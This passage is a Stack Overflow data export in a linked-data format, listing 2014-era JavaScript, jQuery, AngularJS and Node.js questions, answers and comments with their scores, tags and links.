has body: Rickard Staaf's answer is outdated. To download a file in javascript locally without prompting a dialog box, be sure to enable it in your browser settings (chrome >> settings >> advanced >> downloads and turn off 'Ask where to save each file before downloading'. Subsequently, you can write a simple text file like so using blob objects: function save() { var content = ["your-content-here"]; var bl = new Blob(content, {type: "text/plain"}); var a = document.createElement("a"); a.href = URL.createObjectURL(bl); a.download = "your-download-name-here.txt"; a.hidden = true; document.body.appendChild(a); a.click(); }
type: Answer
has comment: http://stackoverflow.com/comment/126811495
score: 8
downvote count: 0
upvote count: 8

http://stackoverflow.com/a/25800192
type: Answer
answers question: http://stackoverflow.com/q/25800085
has comment: http://stackoverflow.com/comment/40355925
score: 0
has comment: http://stackoverflow.com/comment/40355935
has body: Tighten this up a bit with $(document).ready(function() { var select_rg = $('#select_rg'), is_registered = select_rg.val() === 'Registered', toggle_elts = $('#plateread, #fix_2'); select_rg.change(function() { toggle_elts.toggle(is_registered); }); });

http://stackoverflow.com/q/25812750
has comment: http://stackoverflow.com/comment/40378222
tagged with: javascript
has body: How to clear all checkbox When checkbox id="checkAll" are checked ? in my demo , when user checked checkbox id="checkAll" all checkbox are checked But i want to apply to , when user checked checkbox id="checkAll" all checkbox are clear , How can i do ? http://jsfiddle.net/peap/sydzL8Lc/1/ $('#checkAll').click(function () { $('input:checkbox').prop('checked', this.checked); });
downvote count: 0
tagged with: jquery
has answer: http://stackoverflow.com/a/25812810
has comment: http://stackoverflow.com/comment/40378074
favorite count: 0
has answer: http://stackoverflow.com/a/25812803
has answer: http://stackoverflow.com/a/25812835
tagged with: http://stackoverflow.com/tag/html
possible better answer: http://stackoverflow.com/a/25812810
tagged with: checkbox
has comment: http://stackoverflow.com/comment/40378362
has title: How to clear all checkbox When checkbox id="checkAll" are checked?
answer count: 4
type: AnsweredQuestion
score: 1
upvote count: 1
has comment: http://stackoverflow.com/comment/40378106
type: Question
has answer: http://stackoverflow.com/a/25812866
accepted answer: http://stackoverflow.com/a/25812835

http://stackoverflow.com/comment/40482034
has text: The caveat here is that iterating over the keys in an Object does not have guaranteed order so using this may not make sense, since you *may* see different results each time
type: Comment
comment on: http://stackoverflow.com/a/25869639
score: 0
type: AnswerComment

http://stackoverflow.com/comment/40228082
comment on: http://stackoverflow.com/a/25716878
has text: Another reason to use jQuery (or a Tween) is that it can be responsive.
type: AnswerComment
score: 0
type: Comment

http://stackoverflow.com/q/25768931
type: Question
has body: I have need to add meta tag element on Iframe parent head element, I had tried window.parent.$('head').append('sometext'); this one was working on the source file and iframe file in the same folder, but it was not working on the cross domain, it causes window.parent.$ is not a function issue.
has answer: http://stackoverflow.com/a/25770482
downvote count: 0
tagged with: javascript
tagged with: jquery
tagged with: http://stackoverflow.com/tag/html
answer count: 1
favorite count: 0
type: UnansweredQuestion
tagged with: iframe
upvote count: 1
has title: add meta tag on Iframe parent head element
score: 1

http://stackoverflow.com/comment/57688578
type: Comment
comment on: http://stackoverflow.com/a/25845487
has text: How can I use this filter to display Today is day is today and then day names for other days
type: AnswerComment
score: 0

http://stackoverflow.com/q/25871123
answer count: 3
has title: jQuery add/remove class using 'this'
has comment: http://stackoverflow.com/comment/40484639
possible better answer: http://stackoverflow.com/a/25871229
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/25871229
has answer: http://stackoverflow.com/a/25871285
score: 0
has answer: http://stackoverflow.com/a/25871215
has comment: http://stackoverflow.com/comment/40484645
type: Question
accepted answer: http://stackoverflow.com/a/25871215
has body: I'm trying to append a class to a div when its click and remove when its clicked a second time I currently have this has my script - $(".project").click(function(){ if ($(".project-expand", this).is(':visible')) { $(".project-expand",this).hide(1000); $('.project').delay(1000).queue(function(){ $(".project").removeClass('item-dropped').clearQueue(); }); } else if ($(".project-expand", this).is(':hidden')) { $(".project-expand").hide(1000); $(".project-expand",this).show(1000); $(".project").addClass('item-dropped'); } }); But this adds the "item-dropped" class to all of my divs that have a class "project" when I change the code to - $(".project", this).addClass('item-dropped'); It doesn't do anything, where am I going wrong here?
tagged with: javascript
tagged with: jquery

http://stackoverflow.com/a/25836742
has comment: http://stackoverflow.com/comment/40422661
accepted answer of: http://stackoverflow.com/q/25836650
type: Answer
has body: I think you need to use angular strict contextural escaping $sce. Docs here. Your example would look like: Controller: .controller('ExampleController', ['$scope', '$sce', function($scope, $sce) { $scope.myHTML = '&lt;p&gt;&lt;img src=\"images/wwgd.png\" alt=\"wwgd\" /&gt;&lt;/p&gt;'; $scope.trustDodgyHTML = function(html) { return $sce.trustAsHtml(html); }; Page: &lt;div ng-bind-html="trustDodgyHTML(myHTML)"&gt;&lt;/div&gt; This will explicity allow you to include this html here.
has comment: http://stackoverflow.com/comment/40428399
upvote count: 2
has comment: http://stackoverflow.com/comment/40428472
score: 2
answers question: http://stackoverflow.com/q/25836650
has comment: http://stackoverflow.com/comment/40422343
type: AcceptedAnswer
downvote count: 0

http://stackoverflow.com/q/25798803
possible better answer: http://stackoverflow.com/a/25799077
has comment: http://stackoverflow.com/comment/115633559
has comment: http://stackoverflow.com/comment/40396424
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/25837309
has answer: http://stackoverflow.com/a/25799077
has title: ReactJs: change state in response to state change
type: Question
tagged with: reactjs
answer count: 2
has comment: http://stackoverflow.com/comment/40367933
downvote count: 0
tagged with: javascript
tagged with: state
has body: I've got a React component with an input, and an optional "advanced input": [ basic ] Hide Advanced... [ advanced ] The advanced on the bottom goes away if you click "Hide Advanced", which changes to "Show Advanced". That's straightforward and working fine, there's a showAdvanced key in the state that controls the text and whether the advanced input is rendered. External JS code, however, might change the value of advanced, in which case I want to show the [advanced] input if it's currently hidden and the value is different than the default. The user should be able to click "Hide Advanced" to close it again, however. So, someone external calls cmp.setState({advanced: "20"}), and I want to then show advanced; The most straightforward thing to do would just be to update showAdvanced in my state. However, there doesn't seem to be a way to update some state in response to other state changes in React. I can think of a number of workarounds with slightly different behavior, but I really want to have this specific behavior. Should I move showAdvanced to props, would that make sense? Can you change props in response to state changes? Thanks.
score: 7
favorite count: 0
has answer: http://stackoverflow.com/a/25837309
upvote count: 7

http://stackoverflow.com/q/25842548
has title: File parsing at client side in web applications
score: 1
has answer: http://stackoverflow.com/a/25842778
upvote count: 1
has body: I have a scenario where user will upload huge raw text file (size int the range 100MB - 2 GB), from which I extract few data. If I were to avoid the file transfer to server side, instead read and parse the file at client side itself? Technology stack - ExtJS5, Spring MVC at server side
type: Question
tagged with: javascript
answer count: 2
downvote count: 0
tagged with: file-upload
favorite count: 0
has comment: http://stackoverflow.com/comment/40436625
has comment: http://stackoverflow.com/comment/40433995
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/25889316
tagged with: parsing

http://stackoverflow.com/q/25844316
has body: Here HTML part: Never 1 second 5 seconds 15 seconds here javascript part: $(document).ready ( function(){ function handleSelectChange(){ console.log("trigged!!!"); } $("#select_refresh").change(handleSelectChange); }) When I enter html page and change selected option , I cannot see print in console. What i am doing wrong ? Many thanks!
has answer: http://stackoverflow.com/a/25844369
type: Question
answer count: 2
upvote count: 0
accepted answer: http://stackoverflow.com/a/25844369
tagged with: javascript
has answer: http://stackoverflow.com/a/25844374
tagged with: jquery
favorite count: 0
possible better answer: http://stackoverflow.com/a/25844374
tagged with: http://stackoverflow.com/tag/html
has comment: http://stackoverflow.com/comment/40436296
has comment: http://stackoverflow.com/comment/40436222
score: -2
has comment: http://stackoverflow.com/comment/40436433
downvote count: 2
has comment: http://stackoverflow.com/comment/40436291
has title: .change() not trigged when changes
type: AnsweredQuestion

http://stackoverflow.com/comment/40441986
score: 0
has text: Wow. Thanks. Can't believe I didn't try that!
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25847673

http://stackoverflow.com/q/25753505
has comment: http://stackoverflow.com/comment/40271412
tagged with: node.js
upvote count: 13
has comment: http://stackoverflow.com/comment/40286887
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/25769745
has comment: http://stackoverflow.com/comment/40271221
tagged with: mysql
has comment: http://stackoverflow.com/comment/40271611
has comment: http://stackoverflow.com/comment/40270788
has comment: http://stackoverflow.com/comment/40271824
has comment: http://stackoverflow.com/comment/40299490
type: Question
has comment: http://stackoverflow.com/comment/40272039
tagged with: javascript
answer count: 3
has comment: http://stackoverflow.com/comment/40272303
downvote count: 0
has comment: http://stackoverflow.com/comment/40271868
has answer: http://stackoverflow.com/a/33362571
has comment: http://stackoverflow.com/comment/40271927
has body: The project I work on switched to MySQL. The keys we use are UUID strings (like 43d597d7-2323-325a-90fc-21fa5947b9f3), but the database field, rather than be a string, is defined as binary(16) - 16-byte unsigned binary. I understand that a UUID is basically a 16-byte binary, but I have no idea how to convert from/to a binary number. I'm using node-mysql to access the database, and I tried using node-uuid to parse the UUID, but that yields an array of integers. I also tried using Node's Buffer, but that just yields a buffer object. How do I convert a UUID string to fit into that field? And how do I turn a value I read from that field into a UUID?
favorite count: 0
has answer: http://stackoverflow.com/a/79013406
has comment: http://stackoverflow.com/comment/40271141
has title: Convert UUID to/from binary in Node
has comment: http://stackoverflow.com/comment/40271131
accepted answer: http://stackoverflow.com/a/25769745
has comment: http://stackoverflow.com/comment/40270915
score: 13
possible better answer: http://stackoverflow.com/a/33362571

http://stackoverflow.com/comment/40249698
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25741769
has text: Have you tried to use crypto library? I think your code is slow because sjcl is a javascript-only library. Crypto functions are very cpu intensive so if you need good performances, I think you must find some library not javascript-only, but with his core written in C.

http://stackoverflow.com/comment/40220927
type: Comment
has text: Please also tell @Rembo how to implement check for both numeric data and alphabets in javascript!
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/25726262

http://stackoverflow.com/comment/40361778
comment on: http://stackoverflow.com/q/25801448
score: 0
has text: post your answer so that I can mark it as answered & will be good for others future reference.
type: QuestionComment
type: Comment

http://stackoverflow.com/q/25718974
has title: Slowly open/close div?
score: 0
has answer: http://stackoverflow.com/a/25719053
accepted answer: http://stackoverflow.com/a/25719033
has answer: http://stackoverflow.com/a/25719024
tagged with: javascript
possible better answer: http://stackoverflow.com/a/25719024
answer count: 4
type: AnsweredQuestion
has body: I have the following code that on mouseover opens/closes a div above an image. Is there a way to give it an effect? if so are there examples? I have searched for them but I am no js hero. HTML: &lt;div&gt; &lt;div class="under"&gt;&lt;img src="http://oi60.tinypic.com/244xp91.jpg" alt="test"&gt;&lt;/div&gt; &lt;div class="top"&gt; Lorem ipsum dolor sit amet, consectetuer adipiscing elit. aurabitur ullamcorper ultricies nisi. Nam eget dui. &lt;/div&gt; &lt;/div&gt; CSS: div { height: 400px; width: 600px; } div &gt; div { height: 70px; position: absolute; } .under { background: yellow; top: 0px; } .top { background: #008285; bottom: -50px; top: 330px; } .top:hover { background: #008285; bottom: 100px; height: 300px; top: 100px; } JSFiddle: http://jsfiddle.net/2obp1hgL/
tagged with: jquery
has answer: http://stackoverflow.com/a/25719100
has answer: http://stackoverflow.com/a/25719033
type: Question
tagged with: http://stackoverflow.com/tag/html
tagged with: css

http://stackoverflow.com/comment/92614571
has text: UPDATE: `window.onhashchange` is **not called** in latest Chrome (69) when I click _back_ button.
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/25806609
score: 3

http://stackoverflow.com/a/25828595
type: AcceptedAnswer
has body: OK, I ended up rolling my own, which I have released as a NPM package here: https://www.npmjs.org/package/jimp Example usage is: var Jimp = require("jimp"); var lenna = new Jimp("lenna.png", function () { this.crop(100, 100, 300, 200) // crop .resize(220, 220) // resize .write("lenna-small-cropped.png"); // save }); The breakthrough was finding a JavaScript bicubic two-pass scaling algorithm here: https://github.com/grantgalitz/JS-Image-Resizer Kudos to Mike 'Pomax' Kamermans for pointing the right direction to take and to Grant Galitz for an amazing scaling algorithm.
answers question: http://stackoverflow.com/q/25816236
has comment: http://stackoverflow.com/comment/71958025
type: Answer
has comment: http://stackoverflow.com/comment/40880133
score: 56
has comment: http://stackoverflow.com/comment/113627149
has comment: http://stackoverflow.com/comment/74606896
downvote count: 1
has comment: http://stackoverflow.com/comment/74606754
has comment: http://stackoverflow.com/comment/40929880
accepted answer of: http://stackoverflow.com/q/25816236
has comment: http://stackoverflow.com/comment/40768018
upvote count: 57
has comment: http://stackoverflow.com/comment/46595976

http://stackoverflow.com/q/25849361
has comment: http://stackoverflow.com/comment/40445170
tagged with: personalization
tagged with: javascript
tagged with: jquery
has title: Implement 5 possible colors via HTML/CSS/JavaScript?
score: 0
has comment: http://stackoverflow.com/comment/40455383
answer count: 3
has answer: http://stackoverflow.com/a/25851172
tagged with: http://stackoverflow.com/tag/html
tagged with: css
has body: I have a module for my e-store, which allows users to pick an item and personalize it with colored text that can be moved around. The text is entered in a text field and the color of the text is selected via an element made interactive by JScolor.js. Once a color is selected, the text changes its color automatically. The issue is my physical personalization machine only supports 5 basic colors of printing. Thus, is there any way to limit the color palette to just those 5 colors or achieve that effect in some other way / .js / html / css ?
has answer: http://stackoverflow.com/a/26106490
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/25849484
type: Question
has comment: http://stackoverflow.com/comment/40445230

http://stackoverflow.com/q/25745794
tagged with: gruntjs
score: 0
answer count: 1
has body: Grunt task doesn't continue on Windows. Hi! there. I have question that how to use grunt on Windows. I have been using compass,watch, and sftp-deploy by grunt task on Mac and Windows. Mac's result was below. Completed in 8.849s at Tue Sep 09 2014 18:04:52 GMT+0900 (JST) - Waiting... &gt;&gt; File "sass/hiratsuka29.scss" added. Running "compass:dist" (compass) task write stylesheets/hiratsuka29.css (0.746s) Running "sftp-deploy:build" (sftp-deploy) task &gt;&gt; Logging in with key at /Users/shhirats/shhirats/shhirats_secure.key &gt;&gt; Concurrency : 4 transferred=[3/46] elapsed=[0.2s] overall=[7%] eta=[2.3s] [=== ]&gt;&gt; Directories done. transferred=[4/46] elapsed=[0.4s] overall=[9%] eta=[3.8s] [=== ]&gt;&gt; Transferred : 0.001953125 Mb Done, without errors. Waiting... Grunt task had been continueing on Mac. Windows result was below. C:\gittmp7\ShiftCustomer\ShiftCustomer\ShiftCustomer\public\assets&gt;grunt Running "watch" task Waiting... &gt;&gt; File "scss\sm\part\work-list.scss" changed. Running "compass:dist" (compass) task unchanged img/sm/sprites-s2c9a5e2425.png unchanged img/sm/icon-sa7be2049da.png write css/sm/part/work-list.css (2.976s) Running "sftp-deploy:build" (sftp-deploy) task &gt;&gt; Logging in with key at C:\ssh\key\shinya.key &gt;&gt; Concurrency : 4 transferred=[1/16] elapsed=[0.0s] overall=[6%] eta=[0.0s] [= ] transferred=[2/16] elapsed=[0.1s] overall=[13%] eta=[0.6s] [== ] transferred=[3/16] elapsed=[0.2s] overall=[19%] eta=[0.7s] [=== ] transferred=[4/16] elapsed=[0.2s] overall=[25%] eta=[0.7s] [==== ] transferred=[5/16] elapsed=[0.3s] overall=[31%] eta=[0.7s] [===== ] transferred=[6/16] elapsed=[0.4s] overall=[38%] eta=[0.7s] [====== ] &gt;&gt; Directories done. transferred=[7/16] elapsed=[0.7s] overall=[44%] eta=[0.8s] [======= ] transferred=[8/16] elapsed=[0.7s] overall=[50%] eta=[0.7s] [========= ] &gt;&gt; Transferred : 0.072265625 Mb Running "watch" task Completed in 6.506s at Tue Sep 09 2014 18:11:18 GMT+0900 (東京 (標準時)) - Waiti ng…
tagged with: macos
tagged with: windows
tagged with: node.js
has title: Grunt task doesn't continue on Windows
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/25746220
type: Question
tagged with: javascript

http://stackoverflow.com/a/25869432
accepted answer of: http://stackoverflow.com/q/25758892
has body: The problem for me was that server doesn't allow Cross-domain requests. So i must set "Access-Control-Allow-Origin:", "*" header in responses from my server and everything will be ok...
answers question: http://stackoverflow.com/q/25758892
score: 0
type: AcceptedAnswer
type: Answer

http://stackoverflow.com/comment/40334220
has text: edited the answer, forget your Decode function, it has a lot of useless code (sorry), you have to just remove useless DATA URI pieces, get the byte array and send it to ADO.NET
type: AnswerComment
score: 0
type: Comment
comment on: http://stackoverflow.com/a/25787509

http://stackoverflow.com/a/25824783
upvote count: 2
score: 2
answers question: http://stackoverflow.com/q/25817150
has body: The only way to store webrtc permissions is if it is over a TLS/SSL connection(HTTPS). Then chrome can store what sites were allowed or disallowed. This way, when they visit your site once and approve use of their media inputs, then they do not ever have to approve of their use again on that site. However, since Flash and WebRTC are two different ways to grab the inputs, there is no way for permissions for one to change permissions for the other.
type: AcceptedAnswer
downvote count: 0
accepted answer of: http://stackoverflow.com/q/25817150
type: Answer

http://stackoverflow.com/comment/45534883
type: Comment
comment on: http://stackoverflow.com/a/28615565
has text: Thanks for the hint, but in this case my data set is exactly 66 items. The fact that I was struggling with lag was due too the miss-configuration [pointed out by g00glen00b](http://stackoverflow.com/a/25764333/313192).
type: AnswerComment
score: 0

http://stackoverflow.com/comment/40284602
type: Comment
type: QuestionComment
has text: It looks like loadMoreData is called "too soon", I mean : when getAll is not yet resolved. You may start a promise before getAll, and condition the loadMoreData to the resolution of this promise. You can plunker it to have the code. Also, it looks like your infinite scroll is a 2 pages only : your are not setting back "nextBatch" after each getMore...
comment on: http://stackoverflow.com/q/25748419
score: 0

http://stackoverflow.com/comment/40209900
has text: you need to convert your data to the form shown in the series data here.. http://jsfiddle.net/gh/get/jquery/1.9.1/highslide-software/highcharts.com/tree/master/samples/highcharts/demo/bubble/
comment on: http://stackoverflow.com/q/25720938
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/40566819
comment on: http://stackoverflow.com/a/25869232
score: 0
type: AnswerComment
type: Comment
has text: @user3744945 check this [generator](https://www.npmjs.org/package/generator-browserify) out, this accelerates using browserify and also helps you keep up with the latest practices as well.

http://stackoverflow.com/comment/40443771
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/25848511
type: Comment
has text: @Benjamin, if it already has the active class you don't need to add it again. You can't have two active classes. Based on your ridiculous comments and corrections, might I suggest that you haven't explained yourself well in the original question (or that you haven't thought through your problem?). I think it's back to the drawing board...

http://stackoverflow.com/a/25723140
upvote count: 17
score: 17
accepted answer of: http://stackoverflow.com/q/25722682
has body: I usually do something like that : var dict = { "foo": "a", "bar": "b" }; function showProperties(){ var keys = []; for(var k in dict) keys.push(k+':'+dict[k]); Logger.log("total " + keys.length + "\n" + keys.join('\n')); } result in Logger : You get the logger in the script editor/view/Logs
has comment: http://stackoverflow.com/comment/80050243
answers question: http://stackoverflow.com/q/25722682
type: AcceptedAnswer
downvote count: 0
type: Answer

http://stackoverflow.com/a/25802599
has comment: http://stackoverflow.com/comment/40362327
has comment: http://stackoverflow.com/comment/40360680
has body: add a callback function to your devicePhoneNumber() function: document.addEventListener("deviceready", onDeviceReady, false); function onDeviceReady() { devicePhoneNumber(function(){ //anonymous function for the callback parameter /* everything you put in here will be executed only AFTER telephoneNumber.get() has run successfully */ alert("ALERT1"); // ALERT1 }); }; function devicePhoneNumber(callback) { var telephoneNumber = cordova.require("telephonenumber"); telephoneNumber.get(function (result) { alert(result); //ALERT2 callback(); //callback function is called here }, function () { alert("error"); }); };
has comment: http://stackoverflow.com/comment/40360530
score: 1
has comment: http://stackoverflow.com/comment/40360561
has comment: http://stackoverflow.com/comment/40360919
upvote count: 2
downvote count: 1
has comment: http://stackoverflow.com/comment/40360516
has comment: http://stackoverflow.com/comment/40360694
has comment: http://stackoverflow.com/comment/40360334
answers question: http://stackoverflow.com/q/25802412
has comment: http://stackoverflow.com/comment/40360792
has comment: http://stackoverflow.com/comment/40363991
has comment: http://stackoverflow.com/comment/40364396
has comment: http://stackoverflow.com/comment/40360816
type: Answer
has comment: http://stackoverflow.com/comment/40360784

http://stackoverflow.com/q/25821039
type: Question
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/25821090
tagged with: caching
accepted answer: http://stackoverflow.com/a/25821090
answer count: 1
tagged with: javascript
has body: I have a service which looks likes the following: var chatServices = angular.module('chatServices', ['ngResource']); chatServices.factory('Chat',['$resource', function($resource){ return $resource('sample-chat-data.json', {}, { query: {method:'GET', params:{}, isArray:true} }); } ]); I have two controllers, one for the main and one for the detailed view: chatListApp.controller('ChatItemsController', ['$scope', 'Chat', "$location", function ($scope, Chat, $location) { $scope.chatitems = Chat.query(); $scope.detailPage = function (hash) { $location.path(hash); } }]); chatListApp.controller('ChatDetailController', ['$scope', "$routeParams", "Chat", function ($scope, $routeParams, Chat) { $scope.chatID = $routeParams.chatID; $scope.chatitems = Chat.query(function() { for (var i = 0; i &lt; $scope.chatitems.length; i++) { if ($scope.chatitems[i].id === $scope.chatID) { $scope.chat = $scope.chatitems[i]; break; } }; }); }]); I have a feeling that my code is far from optimal, and the reason is I am doing the same query, two times. Is there a smart way to do this? Can I somehow save/cache the result of my service to a variable? You can see the full code and an online working example of the SPA there: https://github.com/gkatsanos/angular-demo
score: 0
tagged with: angularjs
has title: How do I avoid a query (get) from a service being executed multiple times?

http://stackoverflow.com/q/25857199
has comment: http://stackoverflow.com/comment/40477140
type: AnsweredQuestion
has body: I need to call an action automatically via ajax to refresh the current page after 2 minutes it has been loaded. I know to trigger an ajax call as a URL link using: &lt;s:url id="ajax" action="AjaxAction!ajaxCall"/&gt; &lt;sx:a href="%{ajax}" targets="divAjax" loadingText="Loading..."&gt;Ajax Call&lt;/sx:a&gt; &lt;sx:div id="divAjax"&gt;&lt;/sx:div&gt; What I am looking for is to specify 120 seconds in order to trigger automatically an ajax call that will refresh the view (webpage) without clicking anything. Appreciate your help
has comment: http://stackoverflow.com/comment/40459832
has answer: http://stackoverflow.com/a/25876055
accepted answer: http://stackoverflow.com/a/25876055
type: Question
has title: How trigger an action via ajax automatically without click after 2 minutes the HTML is loaded
tagged with: javascript
tagged with: struts2
score: 0
has comment: http://stackoverflow.com/comment/40484205
has comment: http://stackoverflow.com/comment/40493888
answer count: 1
tagged with: jquery
tagged with: ajax

http://stackoverflow.com/a/25746916
has comment: http://stackoverflow.com/comment/40261825
type: Answer
upvote count: 1
has comment: http://stackoverflow.com/comment/40261975
has comment: http://stackoverflow.com/comment/40263256
score: 1
has body: So you have a relatively-positioned .dialog-anchor element: $this.prepend(' ... '); Add an empty dialog-overlay element: $this.prepend(' '); $this.prepend(' ... '); Now, in your CSS: .dialog-overlay { position: absolute; top: 0; left: 0; right: 0; bottom: 0; z-index: 2; background: rgba(0,0,0,1); } .dialog-anchor { z-index: 3; } The dialog box will be above your overlay. The overlay is a transparent layer over your entire screen. Add a click-handler to the overlay: var $overlay = $(' '); var $anchor = $(' ... '); $overlay.on('click', function() { $anchor.remove(); }); $this.prepend($overlay); $this.prepend($anchor); This solution allows you to do other effects like dimming the rest of the page, like this: background: rgba(0,0,0,0.6);
has comment: http://stackoverflow.com/comment/40262942
answers question: http://stackoverflow.com/q/25746354
has comment: http://stackoverflow.com/comment/40261782
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/25746354
has comment: http://stackoverflow.com/comment/40263120
has comment: http://stackoverflow.com/comment/40261455
downvote count: 0

http://stackoverflow.com/comment/40448736
type: Comment
score: 1
type: AnswerComment
has text: The OP says he needs to "move to the next nested table" - that implies grouping.
comment on: http://stackoverflow.com/a/25851330

http://stackoverflow.com/comment/40484104
comment on: http://stackoverflow.com/q/25870888
has text: `json.encode`? that a typo?, any way, you need to loop the response, since this is most likely to have many rows
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/40233041
comment on: http://stackoverflow.com/q/25733098
has text: You aren't using the offset top though. `var l = document.getElementById("myDiv1").offsetLeft;` stores the current value of the offsetLeft in the variable `l`. It will not update the value of `document.getElementById("myDiv1").offsetLeft;` when you reassign the value of `l` to `x`. The programming lang doesn't work that way.
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/40377613
comment on: http://stackoverflow.com/q/25782341
has text: See http://stackoverflow.com/a/4214095/348314
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/q/25783835
answer count: 1
has comment: http://stackoverflow.com/comment/40325950
has answer: http://stackoverflow.com/a/25784787
type: UnansweredQuestion
has title: jquery $.post doesnt sent post data
tagged with: post
type: Question
has body: im trying to make a post request to the server but the jquery doesnt sent any post date. i already tried to use: (suggestions i found on the web) var postdata = {'username':username,'password':password,'src':'web'}; instead of var postdata = 'username=' + username + '&amp;pass=' + password + '&amp;src=web'; this is my jquery code: var username = $('#uForm_un').val(); var password = $('#uForm_pw').val(); var postdata = 'username=' + username + '&amp;pass=' + password + '&amp;src=web'; console.log(postdata);//output: username=administrator&amp;pass=password&amp;src=web $.post( "inc/api/do.login.ajax", postdata, function (data) { console.log(data);//output: a vardump($_POST) wich is empty. } ); browser data: Remote Address:62.***.**.**:80 Request URL:***********/inc/api/do.login.ajax/ Request Method:GET Status Code:200 OK Request Headersview source Accept:*/* Accept-Encoding:gzip,deflate,sdch Accept-Language:nl-NL,nl;q=0.8,en-US;q=0.6,en;q=0.4 Cache-Control:no-cache Connection:keep-alive Cookie:anonymous=-81523622186; windowtop=100; LanguageId=1; CurrencyId=1; space_history=%7B%221%22%3A%2220%22%7D; eventId=1; OrderId=201424754035; filter_starttime=6%3A00; filter_endtime=12%3A00; _ga=GA1.2.2031844175.1410181977; __atuvc=13%7C37; PHPSESSID=4x1xc4ca4238a0b923820dcc509a6f75849b; filter_display_mode=grid; filter_search=; filter_where=eindhoven; filter_startdate=01/09/2014; filter_enddate=05/09/2014; filter_order=itemdate; filter_dayparts=; filter_distance=100000; filter_categories=; list=%2C2797 Host:********.nl Pragma:no-cache Referer:***************/index.php?action=editvisit User-Agent:Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.103 Safari/537.36 X-Requested-With:XMLHttpRequest Response Headersview source Connection:Keep-Alive Content-Encoding:gzip Content-Length:156 Content-Type:text/html; charset=utf-8 Date:Thu, 11 Sep 2014 09:15:03 GMT Keep-Alive:timeout=5, max=88 Server:Apache/2.2.22 (Debian) Vary:Accept-Encoding X-Pow…
tagged with: javascript
tagged with: jquery
tagged with: ajax
score: 0
has comment: http://stackoverflow.com/comment/40328251

http://stackoverflow.com/comment/40247087
type: AnswerComment
score: 0
type: Comment
has text: are you doing check for < 0 ??
comment on: http://stackoverflow.com/a/25740584

http://stackoverflow.com/q/25790405
answer count: 1
tagged with: javascript
tagged with: jquery
tagged with: asp.net
type: UnansweredQuestion
tagged with: http://stackoverflow.com/tag/html
has body: I've been stuck on this for 2 days now. I originally used HTMLSelect elements and had success until I realized I had no idea how to assign value to them from the code behind. Here was the code when using HTMLSelect elements that made the page elements behave the way I wanted: &lt;select id="cboCountry" class="autoTBComplete"/&gt; &lt;select id="cboState" class="autoTBComplete" /&gt; &lt;script type="text/javascript"&gt; $(document).ready(function () { $("#cboCountry").bind("change", ValidateCountryInput); $("#cboState").bind("change", ValidateStateInput); $.ajax({ type: "POST", url: "AjaxService.asmx/GetCountryList", contentType: "application/json; charset=utf-8", data: "{}", datatype:"json", success: function (data) { var d = data.d $(d).each(function (i) { $('#cboCountry').append("&lt;option value=" + d[i] + "&gt;" + d[i] + "&lt;/option&gt;"); }); }, error: function (XMLHttpRequest, textStatus, errorThrown) { alert(textStatus); } }); }); function ValidateCountryInput() { if (CheckUSAorCAN()) { $.ajax({ type: "POST", url: "AjaxService.asmx/GetStateList", contentType: "application/json; charset=utf-8", data: "{}", datatype: "json", success: function (data) { var d = data.d $(d).each(function (i) { $('#cboState').append("&lt;option value=" + d[i] + "&gt;" + d[i] + "&lt;/option&gt;"); }); }, error: function (XMLHttpRequest, textStatus, errorThrown) { alert(textStatus); } }); $("[id$='cboState']").attr('style', "background:#ffd1d1; box-shadow: 0 0 20px #ff7a7a; width:64%;"); } else { $("[id$='cboState']").val(""); $("[id$='cboState']").attr('style', "width:5%"); $("[id$='cboState']").classname ="autotbComplete"; }; }; function ValidateStateInput() { var txt = $('#cboState').val(); if (CheckUSAorCAN()) { if (txt.length &gt; 0) { $("[id$='cboState']").attr('style', "width:64%"); $("[id$='cboState']").classname = "autotbComplete"; } else { $("[id$='cboState']").attr('style', "background:#ffd1d1; box-shadow: 0 0 20px #ff7a7a; width:64%;"); } } else { $("[id$='cboState']").…
has title: ASP.NET DropDownList JavaScript/jQuery getting selected value and populating items
tagged with: vb.net
type: Question
has answer: http://stackoverflow.com/a/25810946
score: 0

http://stackoverflow.com/a/25844769
upvote count: 1
has comment: http://stackoverflow.com/comment/40437357
score: 1
has comment: http://stackoverflow.com/comment/40437087
answers question: http://stackoverflow.com/q/25844573
type: AcceptedAnswer
downvote count: 0
accepted answer of: http://stackoverflow.com/q/25844573
has body: So you want to substract the 'num' in b from the corresponding 'num' in a for every element of a? Than just iterate over a and check if it is contained also in b: var a = [{"id":1,"in":1,"num":3000},{"id":2,"in":1,"num":1500},{"id":3,"in":1,"num":1000}] var b = [{"id":1,"in":0,"num":1000},{"id":2,"in":0,"num":1000}] for (var i = a.length - 1; i &gt;= 0; i--) { a[i]['rest'] = a[i]['num']; for (var j =b.length - 1; j &gt;= 0; j--) { if( a[i]['id'] == b[j]['id']){ a[i]['rest'] = a[i]['num'] - b[j]['num']; break; } } }
type: Answer

http://stackoverflow.com/comment/40346068
has text: Yes? What's your question?
comment on: http://stackoverflow.com/q/25795067
score: 0
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/40374354
score: 0
type: Comment
has text: It will be an HTML list in this format... ...
type: AnswerComment
comment on: http://stackoverflow.com/a/25810650

http://stackoverflow.com/a/25758783
accepted answer of: http://stackoverflow.com/q/25757863
score: 0
answers question: http://stackoverflow.com/q/25757863
has comment: http://stackoverflow.com/comment/40279974
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/40285124
